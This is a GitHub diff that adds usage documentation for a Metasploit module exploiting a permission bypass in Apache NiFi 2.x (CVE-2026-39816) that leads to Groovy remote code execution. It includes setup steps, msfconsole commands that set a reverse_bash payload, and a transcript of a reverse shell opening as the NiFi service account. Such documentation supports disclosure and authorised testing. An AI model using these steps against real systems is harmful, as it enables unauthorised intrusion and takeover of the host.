Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,117 @@
## Vulnerable Application

Apache NiFi **2.0.0-M1** through **2.8.0** ships the `TinkerpopClientService` controller
service without the `@Restricted` annotation that carries the **Execute Code** required
permission (**CVE-2026-39816**). The service accepts a `bytecode-submission` script
submission type, and the `ExecuteGraphQuery` / `ExecuteGraphQueryRecord` processors that use
it are likewise not gated by Execute Code. The processor compiles and evaluates the configured
"Graph Query" with a local `GremlinGroovyScriptEngine` before it ever opens a connection to a
graph database, so the Groovy runs on the NiFi host as the service account.

The practical effect is a permission bypass that becomes remote code execution. NiFi's
Restricted machinery is meant to fence off code execution behind the Execute Code policy, the
same policy that guards `ExecuteScript` and `ExecuteProcess`. Because these graph components
were never annotated, a flow author who has been explicitly denied Execute Code, but still has
read/write on a process group and on the controller, can create the service and processor and
run arbitrary Groovy anyway. The issue is fixed in **2.9.0**.

The preconditions are:

* the account can create controller services and processors (a normal flow author), and
* the optional graph bundle `nifi-other-graph-services-nar`, which ships
`TinkerpopClientService`, is installed. Servers without that NAR are not affected.

NiFi 2.x secured installations have no local login and federate authentication to an external
identity provider. This module drives the standard Spring Security OIDC login the way a browser
does (authorize redirect, credential POST, callback) and comes back with the NiFi JWT, so
`USERNAME` and `PASSWORD` are OpenID Connect credentials. If you already hold a NiFi bearer
token you can skip the login and set `BEARER-TOKEN` instead.

NiFi 2.8.0 does not advertise its version on the unauthenticated API, so `check` confirms the
NiFi API is reachable and reports `Detected` when the build is not disclosed; it returns
`Appears` only when a version in the affected range is visible.

### Setting up a vulnerable environment

Any Apache NiFi 2.0.0-M1 through 2.8.0 with the graph NAR installed and OIDC configured is
vulnerable. The module was developed against NiFi 2.8.0 behind Keycloak. To reproduce the
class of bug, install the optional graph bundle so `TinkerpopClientService` is present:

```
# from a stock NiFi 2.8.0 install
cp nifi-other-graph-services-nar-2.8.0.nar $NIFI_HOME/lib/
```

Configure OIDC (`nifi.security.user.oidc.*` in `nifi.properties`) against your identity
provider, then create a flow author account and, to demonstrate the bypass, deny it the
Execute Code global policy while leaving it read/write on the root process group and the
controller. The account can still reach RCE through this module.

## Verification Steps

1. Start `msfconsole`.
2. `use exploit/linux/http/apache_nifi_tinkerpop_groovy_rce`
3. `set RHOSTS <nifi-host>`
4. `set VHOST <name NiFi is configured for>` if NiFi enforces a host header (common with TLS).
5. `set USERNAME <oidc-user>` and `set PASSWORD <oidc-pass>` (or `set BEARER-TOKEN <jwt>`).
6. If the OIDC provider is advertised under a name you cannot route to, `set KEYCLOAK_RHOST <ip>`.
7. `set LHOST <your-ip>` and pick a payload, e.g. `set PAYLOAD cmd/unix/reverse_bash`.
8. `check` should report the NiFi API is reachable.
9. `run`
10. A session opens running as the NiFi service account. The controller service and processor
created during exploitation are removed on cleanup.

## Options

### KEYCLOAK_RHOST
Address to reach the OpenID Connect provider on when NiFi advertises it under a name that does
not resolve or route from your host (for example a container name). Left blank, the provider is
contacted at the name NiFi redirects to. Optional.

### DELAY
Seconds to wait after scheduling the processor for the Groovy to be evaluated before cleanup
runs. Default 5. Raise it on a slow or loaded instance.

### CONTACT_POINTS (advanced)
The `Contact Points` value set on the `TinkerpopClientService`. The service never has to reach
a real graph database for the Groovy to run, so the default `127.0.0.1` is fine; change it only
if a local policy blocks that value.

## Scenarios

### Apache NiFi 2.8.0 behind Keycloak OIDC

```
msf6 > use exploit/linux/http/apache_nifi_tinkerpop_groovy_rce
msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > set RHOSTS 172.16.10.30
msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > set VHOST nifi.internal
msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > set USERNAME flow.author
msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > set PASSWORD Sup3rSecret!
msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > set LHOST 172.16.10.10
msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > set PAYLOAD cmd/unix/reverse_bash
msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > run
[*] Started reverse TCP handler on 172.16.10.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Apache NiFi reachable; version not disclosed, and exploitation also depends on the graph bundle being installed
[+] Authenticated to NiFi
[*] Authenticated identity: flow.author
[+] Created TinkerpopClientService 55287976-01a0-1000-542b-1318823eb6fc (bytecode-submission)
[+] Created ExecuteGraphQuery processor 55287ebe-01a0-1000-0977-299d7413bab0
[*] Scheduling the processor to evaluate the Groovy payload
[*] Command shell session 1 opened (172.16.10.10:4444 -> 172.16.10.30:47686)
[+] Deleted processor 55287ebe-01a0-1000-0977-299d7413bab0
[+] Deleted controller service 55287976-01a0-1000-542b-1318823eb6fc

id
uid=999(nifi) gid=995(nifi) groups=995(nifi)
```

### Using an existing bearer token

When you already have a NiFi JWT (for example lifted from a browser session), skip the OIDC
login:

```
msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > set BEARER-TOKEN eyJraWQiOi...
msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > run
```
Loading